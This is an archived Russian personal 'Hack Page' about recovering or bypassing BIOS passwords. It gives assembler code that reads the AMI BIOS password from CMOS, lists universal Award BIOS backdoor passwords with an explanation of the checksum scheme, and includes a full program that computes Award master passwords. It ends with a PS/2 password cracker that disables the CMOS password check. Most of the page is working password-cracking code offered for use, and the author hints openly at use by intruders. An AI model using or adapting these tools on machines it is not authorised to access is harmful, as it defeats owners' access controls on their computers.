[My Home Page] [Contact information] [My Bookmark] [Music Page] [Articles] [HackPage] [Sign Guestbook] [My Public PGP Key]


Как узнать паpоль после загpузки?


в AMI bios'e:

type  String6=string[6];
function GetAMIPassword; assembler;
asm
   cld
   les     di,@Result
   mov     si,di
   mov     al,37h
   out     70h,al
   in      al,71h
   and     al,0F0h
   xor     bx,bx
   xchg    bh,al
   stosb
@M1:
   mov     al,bl
   add     al,38h
   out     70h,al
   in      al,71h
   or      al,al
   jz      @Exit
   mov     ah,al
   xor     cl,cl
@M2:
   test    al,80h
   jz      @M3
   test    al,61h
   jnp     @M4
   stc
@M4:
   rcl     al,1
   jmp     @M6
@M3:
   test    al,61h
   jp      @M5
   stc
@M5:
   rcl     al,1
@M6:
   inc     cl
   cmp     al,bh
   jne     @M2
   inc     byte ptr es:[si]
   mov     byte ptr es:[di],cl
   inc     di
   mov     bh,ah
   inc     bl
   cmp     bl,6
   jb      @M1
@Exit:
end;

В AWARD bios'e:



В отличии от других разновидностей bios-ов, Award-bios хранит не пароль,
а его 2-байтовую контрольную сумму (кс) в cmos-e. Таким образом, обычно
существует большое количество паролей, "открывающих" машину. Но не это
главное.

В Award-bios-ах есть универсальная кс (укс). Если подобрать строку символов
(не более восьми) с той же кс, то можно заставить компьютер работать.
Разумеется, таких паролей для каждой укс существует достаточно много.
Любой из таких паролей можно назвать универсальным паролем (уп). Долгое
время в ходу были bios-ы только с одной укс (взятой, скорее всего, от
строки AWARD_SW), и было найдено несколько других уп, таких как j262,
j256, Syxz, lkwpeter, Wodj... Все эти пароли, как Вы поняли, имеют
одну и ту же кс.

Последнее время появились машины с другими укс, взятыми от каких-то
других строк или выдуманных "от балды". Видимо это связанно с
лицензированием (продажей) bios-а различным фирмам.

Но... алгоритм взятия кс от строки остался прежним и место укс в bios-е
то же самое. Пока мне известно 5 вариантов укс (2 байта по адресу
F000:EC60)

Итак, если там число 0x1EAA, то паролем может служить всем известная
комбинация AWARD_SW. Бывают также bios-ы, где по этому адресу стоят другие
числа. Для удобства по одному из вариантов уп (те, которые сгенерировала
моя программа) привожу в табличке:

     0x0604 KDD
     0x1EAA ZJAAADC
     0xBEA2 ZAAADA
     0xAAAA UAABBA
     0xFEA3 ZBAAACA

(Я подбирал пароли только из латинских заглавных букв.) Конечно,
можно было бы поискать и более осмысленные сочетания символов, имеющих
те же кс, но это дело я готов предоставить Вам (надо написать
простенькую программу, запустить ее работать на ночь, а потом
просмотреть файл в несколько сот кил :-) Для справки: четырехбуквенных
паролей для 0x1EAA-модификации bios-ов существует 11656 штук,
если брать набор символов от '!' до 'z'. Пяти-, шести-, семи- и
восьмибуквенных наберется еще больше...

Резюме: В отличии от владельцев других моделей компьютеров, Вам не
придется развинчивать корпус и искать там перемычку, сбрасывающую
cmos или вытаскивать (или, что еще хуже - закорачивать) батарейку,
если Вы забыли свой пароль, даже если этот пароль поставлен и на вход
в setup и на загрузку. Попробуйте один из вышеприведенных, авось
подойдет. Не забудте придерживать клавишу shift. Резюме для потенциальных
взломщиков не пишу - догадаетесь сами :-)


; revision history:

; 17 April 1996 - Just started :-)
; 21 April 1996 - First public release
; 29 April 1996 - Minor changes
; 30 July  1996 - Added password for 0xAAAA chechsum

;tasm /ml /m9 /zn award_cr.asm
;tlink /t/x award_cr.obj

        .MODEL  Tiny,C
        LOCALS
        .CODE
        org     100h
        P386

GETCRC macro
        xor     bx,bx
        xor     ah,ah

        mov     bl,cl

        or      ch,ch
        jz      _ret0
        mov     al,ch
        rol     bx,2
        add     bx,ax

        rol     ecx,16

        or      cl,cl
        jz      _ret1
        mov     al,cl
        rol     bx,2
        add     bx,ax

        or      ch,ch
        jz      _ret1
        mov     al,ch
        rol     bx,2
        add     bx,ax

        or      dl,dl
        jz      _ret1
        mov     al,dl
        rol     bx,2
        add     bx,ax

        or      dh,dh
        jz      _ret1
        mov     al,dh
        rol     bx,2
        add     bx,ax

        rol     edx,16

        or      dl,dl
        jz      _ret2
        mov     al,dl
        rol     bx,2
        add     bx,ax

        or      dh,dh
        jz      _ret2
        mov     al,dh
        rol     bx,2
        add     bx,ax
_ret2:
        rol     edx,16
_ret1:
        rol     ecx,16
_ret0:
        endm

start:
        mov     dx,offset msg
        mov     ah,9
        int     21h

        cld
        mov     ax,0F000h
        mov     es,ax
        xor     bx,bx
_loop:
        mov     di,bx
        mov     si,offset pattern
        mov     cx,18
        rep     cmpsw
        jcxz    _award
        inc     bx
        cmp     bx,0FFFFh-36
        jne     _loop

        mov     dx,offset badbios
        mov     ah,9
        jmp     _p

_award:
        mov     cx,es:[0EC60h]
        mov     ah,9
        mov     dx,offset m1eaa
        cmp     cx,01EAAh
        je      _p
        mov     dx,offset m0604
        cmp     cx,00604h
        je      _p
        mov     dx,offset mfea3
        cmp     cx,0FEA3h
        je      _p
        mov     dx,offset mbea2
        cmp     cx,0BEA2h
        je      _p
        mov     dx,offset maaaa
        cmp     cx,0AAAAh
        je      _p
        mov     word ptr _label+2,cx

        xor     ecx,ecx
        xor     edx,edx
        mov     cl,xlat[0]
        rol     ecx,16

_proc2:
        rol     edx,16
_proc1:
        rol     ecx,16
_proc:
        GETCRC
_label:
        dw      0FB81h,0
        je      _found

        xor     bx,bx
        mov     bl,cl
        mov     cl,xlat[bx]
        cmp     cl,'.'
        jne     _proc

        mov     cl,xlat[0]
        mov     bl,ch
        mov     ch,xlat[bx]
        cmp     ch,'.'
        jne     _proc

        mov     ch,cl
        rol     ecx,16
        mov     bl,cl
        mov     cl,xlat[bx]
        cmp     cl,'.'
        jne     _proc1

        mov     cl,xlat[0]
        mov     bl,ch
        mov     ch,xlat[bx]
        cmp     ch,'.'
        jne     _proc1

        mov     ch,cl
        mov     bl,dl
        mov     dl,xlat[bx]
        cmp     dl,'.'
        jne     _proc1

        mov     dl,xlat[0]
        mov     bl,dh
        mov     dh,xlat[bx]
        cmp     dh,'.'
        jne     _proc1

        mov     dh,dl
        rol     edx,16
        mov     bl,dl
        mov     dl,xlat[bx]
        cmp     dl,'.'
        jne     _proc2

        mov     dl,xlat[0]
        mov     bl,dh
        mov     dh,xlat[bx]
        cmp     dh,'.'
        jne     _proc2
_fail:
        ret
_found:
        push    edx

        mov     ah,2
        mov     dl,cl
        or      dl,dl
        jz      _ok1
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok1
        int     21h
        rol     ecx,16
        mov     dl,cl
        or      dl,dl
        jz      _ok1
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok1
        int     21h

        pop     ecx

        mov     dl,cl
        or      dl,dl
        jz      _ok0
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok0
        int     21h
        rol     ecx,16
        mov     dl,cl
        or      dl,dl
        jz      _ok0
        int     21h
        mov     dl,ch
        or      dl,dl
        jz      _ok0
_p:
        int     21h
_ok0:
        ret
_ok1:
        pop     eax
        ret

msg     db 'Resolving AWARD BIOS default passwords',13,10
        db 'Version as of July 30 1996',13,10
        db 'Copyleft Award Software :-)',13,10
        db 'Co-authors: Alex Bachin      ',13,10
        db '            Alexey Novojilov ',13,10
        db 'Note: pre-computed passwords are: KDD, ZBAAACA, ZAAADA, ZJAAADC, UAABBA',13,10
        db 'Wait, please...$'

badbios db 13,10,'Unknown or non-AWARD bios. Contact authors, please!$'

m0604   db 'KDD$'
mfea3   db 'ZBAAACA$'
mbea2   db 'ZAAADA$'
m1eaa   db 'ZJAAADC$'
maaaa   db 'UAABBA$'

pattern db 056h,053h,051h,052h,033h,0F6h,033h,0DBh
        db 032h,0E4h,0B9h,008h,000h,08Ah,082h,0A2h
        db 000h,00Ah,0C0h,074h,009h,0D1h,0C3h,0D1h
        db 0C3h,003h,0D8h,046h,0E2h,0EFh,093h,05Ah
        db 059h,05Bh,05Eh,0C3h

xlat    db 'A...............................................................'
        db '.BCDEFGHIJKLMNOPQRSTUVWXYZ.'

        end start



Hа PS/2 можно попытаться сделать так:

;------------ ps2psw.asm
        Ideal
        Model   Tiny
        CodeSeg
        Org     100h

Start:
        Mov     si,OffSet MsCopRt
        Call    PutSt

        In      al,92h
        Test    al,08h
        Jnz     @@Crk

        Mov     si,OffSet MsPsw1
        Call    PutSt
        Call    PutPsw
        Mov     si,OffSet MsPsw2
        Call    PutSt

        Mov     bl,0Eh

        Mov     ah,0
        Mov     al,bl
        Call    SetCMOS

        Ret
@@Crk:
        Mov     si,OffSet MsCrk1
        Call    PutSt

        Mov     bl,0Eh

        Mov     ah,80h
        Mov     al,bl
        Call    SetCMOS

        Mov     si,OffSet MsCrk2
        Call    PutSt

        Ret

MsCopRt Db      'PS/2 PassWord Cracker v1.00 by Alex Yakovlev.', 13, 10, 13, 10,
0

Proc    PutPsw
        Push    ax bx cx dx

        Mov     cx,7
        Mov     dl,38h
@@1:    Mov     al,dl
        Call    GetCMOS
        And     al,7Fh
        Mov     bx,OffSet Tabl
        Xlat
        Call    PutCh
        Inc     dl
        Loop    @@1

        Pop     dx cx bx ax
        Ret
EndP

Tabl    Db      0, 0                            ; 00 .. 01 - ?, ESC
        Db      '+1234567890='                  ; 02 .. 13 - 1st row
        Db      0, 0                            ; 14 .. 15 - BS, Tab
        Db      'QWERTYUIOP[]'                  ; 16 .. 27 - 2nd row
        Db      0, 0                            ; 28 .. 29 - Enter, Ctrl
        Db      'ASDFGHJKL', 0, 0               ; 30 .. 40 - 3rd row
        Db      '#'                             ; 41 .. 41 - ...
        Db      0                               ; 42 .. 42 - LShift
        Db      ';'                             ; 43 .. 43 - ...
        Db      'ZXCVBNM', 0, 0                 ; 44 .. 52 - 4th row

MsPsw1  Db      "The PassWord is: '", 0
MsPsw2  Db      "'.", 13, 10, 0

MsCrk1  Db      'Cracking CMOS password checking...', 13, 10, 0
MsCrk2  Db      'And now, please, turn the computer off and on,', 13, 10
        Db      '               ... and run this program again.', 13, 10, 0

Proc    PutCh
;       In:     AL - Char
;
        Push    ax dx

        Mov     ah,2
        Mov     dl,al
        Int     21h

        Pop     dx ax
        Ret
EndP

Proc    PutSt
;       In:     DS:SI - String
;
        Push    ax si
@@1:
        LodSb
        Or      al,al
        Jz      @@2
        Call    PutCh
        Jmp     @@1
@@2:
        Pop     si ax
        Ret
EndP

Proc    GetCMOS
;       In:     AL = Index
;       Out:    AL = Value
;
        Cli
        Out     70h,al
        Jmp     Short $+2
        In      al,71h
        Sti

        RetN
EndP

Proc    SetCMOS
;       In:     AL = Index, AH = Value
;
        Cli
        Out     70h,al
        Jmp     Short $+2
        Mov     al,ah
        Out     71h,al
        Sti

        RetN
EndP

Proc    CrcCMOS

        Push    ax bx cx dx

        Mov     bl,10h
        Mov     bh,32h
;;;
        Mov     dx,0FFFFh
        Xor     ah,ah
        Mov     cl,4
@@1:
        Mov     al,bl
        Call    GetCMOS
;;;;;
        Xor     dh,al
        Mov     al,dh
        Rol     ax,cl
        Xor     dx,ax
        Rol     ax,1
        Xchg    dh,dl
        Xor     dx,ax
        Ror     ax,cl
        And     al,0E0h
        Xor     dx,ax
        Ror     ax,1
        Xor     dh,al
;;;;;
        Inc     bl
        Cmp     bl,bh
        Jne     @@1
;;;
        Mov     al,32h
        Mov     ah,dh
        Call    SetCMOS
        Mov     al,33h
        Mov     ah,dl
        Call    SetCMOS

        Pop     dx cx bx ax
        Ret
EndP

End     Start

<== Back to main page counter
My Home Page How to contact me My Bookmarks Music Page Articles Hack Page Welcome to Guestbook Windows (1251) encoding Unix  (Koi8) encoding My Public PGP Key
Hosted by uCoz